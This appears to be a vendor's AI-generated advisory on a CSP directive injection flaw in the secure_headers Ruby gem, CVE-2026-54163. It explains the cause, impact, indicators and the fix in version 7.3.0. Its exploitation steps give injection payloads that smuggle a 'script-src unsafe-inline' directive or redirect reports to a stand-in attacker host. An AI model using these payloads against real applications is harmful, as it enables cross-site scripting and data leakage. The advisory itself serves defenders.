CVE-2026-54163
Ruby vulnerability analysis and mitigation

Overview

CVE-2026-54163 is a CSP directive injection vulnerability in the secure_headers Ruby gem (RubyGems package) that allows attackers to inject arbitrary Content-Security-Policy directives by supplying unsanitized input to the :sandbox, :plugin_types, or :report_to directive builders. Affected versions are all releases up to and including 7.2.0; the patched version is 7.3.0. The vulnerability was first published on June 3, 2026, and added to the GitHub Advisory Database on July 10, 2026. It carries a CVSS v3.1 base score of 4.7 (Moderate) (GitHub Advisory, secure_headers Advisory).

Technical details

The root cause is improper neutralization of input during HTTP header generation (CWE-79, CWE-113): three directive builders — build_sandbox_list_directive, build_media_type_list_directive, and build_report_to_directive — interpolate caller-supplied strings directly into the CSP header value without stripping ;, \r, or \n characters. A sibling builder, build_source_list_directive, already performs this scrubbing (introduced after CVE-2020-5217), but the three affected builders never received the same treatment. Input validation also fails to catch the injection: validate_sandbox_expression! only checks for the allow- prefix, validate_media_type_expression! uses a regex where . matches ;, and validate_report_to_endpoint_expression! only verifies the value is a non-empty string. Because :sandbox and :plugin_types sort alphabetically before :script_src in BODY_DIRECTIVES, an injected script-src 'unsafe-inline' * directive appears earlier in the header and wins under the W3C CSP3 first-occurrence rule, defeating the application's configured strict script-src (GitHub Advisory, secure_headers Advisory).

Impact

Successful exploitation allows an attacker to override a strict script-src policy with 'unsafe-inline' *, enabling cross-site scripting (XSS) wherever reflected or stored user content is rendered on the page. This affects confidentiality and integrity: session tokens, credentials, and sensitive page data can be exfiltrated via injected scripts, and page content can be manipulated. Additionally, the report_to vector can redirect CSP violation reports to attacker-controlled infrastructure, silently leaking internal URLs, blocked resource URIs, source file paths, line numbers, and code snippets — useful for reconnaissance and fingerprinting of internal application structure (GitHub Advisory, secure_headers Advisory).

Exploitation steps

  1. Identify a vulnerable application: Locate a Ruby/Rails application using secure_headers <= 7.2.0 that passes user-controlled input into SecureHeaders.override_content_security_policy_directives or append_content_security_policy_directives for the :sandbox, :plugin_types, or :report_to directives (e.g., a multi-tenant SaaS that stores and replays tenant-chosen sandbox tokens or MIME types).
  2. Craft the injection payload: For the :sandbox vector, supply a value such as allow-scripts allow-same-origin; script-src 'unsafe-inline' * where the application expects a single sandbox token like allow-forms. For :plugin_types, use application/x-foo; script-src 'unsafe-inline' *. For :report_to, use default; report-uri https://attacker.example/leak.
  3. Submit the payload: Deliver the malicious string through whatever application input is forwarded to the CSP directive API — for example, a tenant configuration field, an admin UI form, or a URL parameter that the controller passes directly to the override API.
  4. Observe CSP header injection: The resulting Content-Security-Policy header will contain the injected directive before the legitimate script-src, e.g.: default-src 'self'; sandbox allow-scripts allow-same-origin; script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'.
  5. Trigger XSS: Lure a victim user to a page where reflected or stored attacker-controlled script content exists. Because the browser's CSP parser applies the first-occurrence rule, the injected script-src 'unsafe-inline' * wins, allowing inline scripts to execute despite the application's strict policy.
  6. Exfiltrate data (report_to vector): For the reporting vector, CSP violation reports from victim browsers are redirected to attacker infrastructure, leaking internal URLs, blocked URIs, source file paths, and code snippets (GitHub Advisory, secure_headers Advisory).

Indicators of compromise

  • Network: HTTP responses containing a Content-Security-Policy header with duplicate script-src directives (e.g., script-src 'unsafe-inline' * appearing before script-src 'self'); outbound CSP violation reports (report-uri or report-to) directed to unexpected or external domains.
  • Logs: Application or web server logs showing requests where user-supplied parameters destined for :sandbox, :plugin_types, or :report_to contain semicolons (;), carriage returns (\r), or newlines (\n); Ruby application logs emitting Kernel.warn messages about directive injection characters (present only after upgrading to 7.3.0).
  • Application Behavior: CSP headers in HTTP responses that contain 'unsafe-inline' or wildcard (*) in script-src when the application's static configuration does not include these values; report-uri or report-to endpoints in CSP headers pointing to domains not in the application's known reporting infrastructure.

Mitigation and workarounds

Upgrade secure_headers to version 7.3.0 or later, which introduces a scrub_directive_value helper that replaces ;, \r, and \n with spaces across all directive builders, including the three previously uncovered ones (Ruby Advisory DB). Applications that use :sandbox, :plugin_types, or :report_to exclusively from static configuration (no per-request or per-tenant user input) are not exploitable but should still upgrade. As a temporary workaround prior to upgrading, sanitize all user-controlled input before passing it to SecureHeaders.override_content_security_policy_directives, SecureHeaders.append_content_security_policy_directives, or SecureHeaders.use_content_security_policy_named_append — specifically, reject or strip ;, \r, and \n from any values destined for these three directives (GitHub Advisory).

Community reactions

The vulnerability was reported by security researcher @tonghuaroot and published by the secure_headers maintainer (KyFaSt) as a private advisory on June 3, 2026, before being added to the GitHub Advisory Database on July 10, 2026. The advisory explicitly references CVE-2020-5217 as a prior instance of the same bug class in the same gem, noting that the 2020 fix for build_source_list_directive was not extended to the three sibling builders, making this a recurrence of a known pattern (GitHub Advisory, secure_headers Advisory).

Additional resources


SourceThis report was generated using AI

Related Ruby vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-2x63-gw47-w4mmHIGH8.9
  • Ruby logoRuby
  • websocket-driver
NoYesJul 21, 2026
CVE-2026-61666HIGH8.9
  • Ruby logoRuby
  • websocket-driver
NoYesJul 21, 2026
GHSA-cj75-f6xr-r4g7MEDIUM5.1
  • Ruby logoRuby
  • rails-html-sanitizer
NoYesJul 21, 2026
GHSA-9wjq-cp2p-hrgfMEDIUM4.7
  • Ruby logoRuby
  • loofah
NoYesJul 21, 2026
GHSA-5qhf-9phg-95m2LOW2.3
  • Ruby logoRuby
  • loofah
NoYesJul 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management